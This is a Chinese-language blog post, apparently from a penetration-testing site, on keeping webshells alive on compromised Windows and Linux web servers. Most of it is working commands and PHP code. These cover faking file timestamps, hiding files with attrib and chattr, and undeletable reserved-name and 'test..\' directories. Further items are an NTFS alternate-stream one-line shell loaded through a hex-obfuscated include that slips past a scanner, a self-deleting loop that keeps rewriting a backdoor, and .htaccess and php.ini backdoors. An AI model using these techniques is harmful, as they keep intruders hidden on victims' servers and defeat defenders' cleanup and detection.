webshell权限维持
1、修改文件时间属性
1.1、windows
要想在文件中隐藏自己新创建的文件,除了创建一个迷惑性的文件名,还需要修改文件的修改日期。
使用Powershell中的命令修改文件的日期
//修改时间修改 Set-ItemProperty -Path shell.txt LastWriteTime -Value "2021-11-22 22:22:22" //访问时间修改 Set-ItemProperty -Path shell.txt LastAccessTime -Value "2021-11-22 22:22:22" //创建时间修改 Set-ItemProperty -Path shell.txt CreationTime -Value "2021-11-22 22:22:22"
//修改时间修改 $(Get-Item shell.txt).lastwritetime=$(Get-Date "11/04/2009 20:42:23") //访问时间修改 $(Get-Item shell.txt).lastaccesstime=$(Get-Date "11/04/2019 20:42:23") //创建时间修改 $(Get-Item shell.txt).creationtime=$(Get-Date "11/04/2029 20:42:23")
实际时间会比这个设置的时间后延8个小时
//修改时间修改 (ls shell.txt).LastWriteTimeUtc="2019-12-31 22:33:44" //访问时间修改 (ls shell.txt).LastAccessTimeUtc="2019-12-31 22:33:44" //创建时间修改 (ls shell.txt).CreationTimeUtc="2019-12-31 22:33:44"
经过测试冰蝎跟哥斯拉的修改文件属性都只能成功修改文件的最后修改时间,并不能修改创建时间和最后访问时间
1.2、linux时间修改
//访问时间修改 touch -a -d "2010-05-31 08:10:30" test.php //修改时间修改 touch -m -d "2010-05-31 08:10:30" test.php //创建时间修改 touch -c -d "2010-05-31 08:10:30" test.php
2、设置文件隐藏属性
2.1、windows
使用Attrib +s +a +h +r命令就是把原本的文件增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。
attrib +s +a +r +h shell.php //隐藏shell.php文件
2.2、linux
使用chattr命令给文件设置隐藏属性,+号代表添加属性,-号代表去掉属性
//给文件设置不允许更改属性 chattr +i shell.php //给文件设置只可以追加不允许删除属性(一般日志文件可以设置这个属性) chattr +a shell.php //查看文件隐藏属性 lsattr shell.php //去掉不允许删除属性 chattr -i shell.php
3、windows保留字符命名文件
windows系统存在系统保留文件夹名,windows不允许用这些名字来命名文件或文件夹:con|aux|prn|nul|com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt。
但是这些可以使用windows的copy命令创建,比如:
copy shell.php \\.\C:\Users\admin\Desktop\phpStudy\WWW\test\con.php
上述的copy后的地址前注意必须加上 "\\.\"
,否则文件还是创建不了的。
含有这类保留字符命名的文件不能通过图形化界面进行删除,使用del删除的时候也需要在地址前加上 "\\.\"
del \\.\C:\Users\admin\Desktop\phpStudy\WWW\test\con.php
这样创建的文件不能直接通过url访问,也需要借助文件包含,文件包含的时候地址需要再多加一个\, "\\\.\"
<?phpinclude('\\\.\C:\Users\admin\Desktop\phpStudy\WWW\test\con.php');?>
这种只是增加删除难度,webshell查杀文件所在目录会显示特殊文件,直接扫描文件会报后门。
4、windows特殊字符命名文件夹
使用cmd命令创建一个名字为 "xxx..\"
的文件夹
mkdir C:\Users\admin\Desktop\phpStudy\WWW\test\test..\
“xxx..\\”目录通过右键是不能进行打开、删除、修改的,文件夹下的文件是不能通过del命令来删除的,但是可以使用 rmdir /s
命令来删除文件夹以及其下的所有文件或文件夹。
rmdir /s C:\Users\admin\Desktop\phpStudy\WWW\test\test..\
将webshell copy到该目录下
copy shell.php C:\xx\xxx\test..\shell.php
copy shell.php C:\Users\admin\Desktop\phpStudy\WWW\test\test..\
我们在url中也不能直接访问,需要借助一个文件包含将webshell包含进去。
<?phpinclude('C:\Users\admin\Desktop\phpStudy\WWW\test\test..\shell.php');?>
webshell查杀也不能访问到这些文件夹下的文件,但是会报这个文件夹为特殊文件夹。
可以将4和5相结合,这样的话就不能轻易的看到test..\下有特殊文件名的文件了,单独使用上述两种方法都不能对其进行清除,需要相结合,在清除目录的时候对地址加上 \\.\
rmdir /s \\.\C:\Users\admin\Desktop\phpStudy\WWW\test\test..\
5、创建NTFS数据流文件
使用echo 写一句话的NTFS数据流文件,index.php是正常文件。
echo ^<?php echo `$_REQUEST[a]`;?^> >index.php:test.jpg
这样就生成了一个不可见的shell index.php:test.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个index.php:test.jpg的。
但是可以通过dir /r 或者在命令行中直接使用记事本打开notepad index.php:test.jpg。
这样创建的文件是不能通过url直接访问index.php:testx.jpg的,需要借助一个文件包含来访问。
在一个正常的php文件中可以插入一句包含语句。
<?phpinclude('index.php:test.jpg')?>
这样直接包含的话使用D盾查杀的时候这个语句会报出“可疑引用“。
可以使用PACK函数将’index.php:test.jpg’进行hex编码,再将编码字符拆分后使用“.”拼接,这样就不会被查杀出来了。
<?php$a="696E6465782E706870"."3A746573742E6A7067";$b="a";include(PACK('H*',$$b));?>
6、进程形式循环创建后门
这里的不死马会删除自身,以进程的形式循环创建后门。
将apache重启后再进行删除就可以删除掉了。
nodie.php
<?phpset_time_limit(0); ignore_user_abort(1); //1表示,忽略与客户端断开连接,继续执行脚本unlink(__FILE__); //执行完删除自身while(1) { file_put_contents('nodie.php','<?php echo `$_REQUEST[a]`;?>'); sleep(10); //时间设置长一些效果会较好一些}?>
7、利用 .htaccess 文件构成PHP后门
Apache要使.htaccess文件生效要在httpd.config 配置两个地方
Options FollowSymLinks
AllowOverride None
改为:
Options FollowSymLinks
AllowOverride All
把LoadModule rewrite_module modules/mod_rewrite.so前面的注释符号#删除
.htaccess可以用来留后门和针对黑名单绕过,在上传目录创建.htaccess 文件写入,无需重启即可生效,上传png文件解析。
AddType application/x-httpd-php .png
另外,在.htaccess 加入php解析规则,把文件名包含1的解析成php,上传1.txt即可解析。
<FilesMatch "1"> SetHandler application/x-httpd-php </FilesMatch>
8、利用 php.ini 隐藏后门文件
php.ini 中可以指定在主文件执行前后自动解析的文件名称,常用于页面公共头部和尾部,也可以用来隐藏php后门。
在PHP文档之前自动添加文件。auto_prepend_file = "c:\tmp.txt" 在PHP文档之后自动添加文件。auto_prepend_file = "c:\tmp.txt"
需重启服务生效,访问任意一个php文件即可获取webshell。
- Exchange利用
- 与某电的爱恨情仇
- 记一次从供应商到目标之旅
- 面对几百个HVV目标的工具选择
- 利用内网穿透工具隐藏cs服务器
- 运气是汗水的累积——记一次从供应链到目标的过程
- 一次普通的渗透测试
- windows系统下log4j2漏洞的后渗透
- k8s安全入门
- webshell权限维持
- springboot渗透总结
- JNDI漏洞利用探索
- Linux痕迹清除
- Tomcat下JNDI高版本绕过浅析
- 远程开启3389及添加用户总结
- ShiroAttack2工具原理分析
- 利用CodeQL分析并挖掘Log4j漏洞
- 内网中常见软件的凭据利用
- 通过 CVE-2021-40449 初探 Windows 内核 POOL 分配与缓解措施
- 信息搜集和密码利用的思路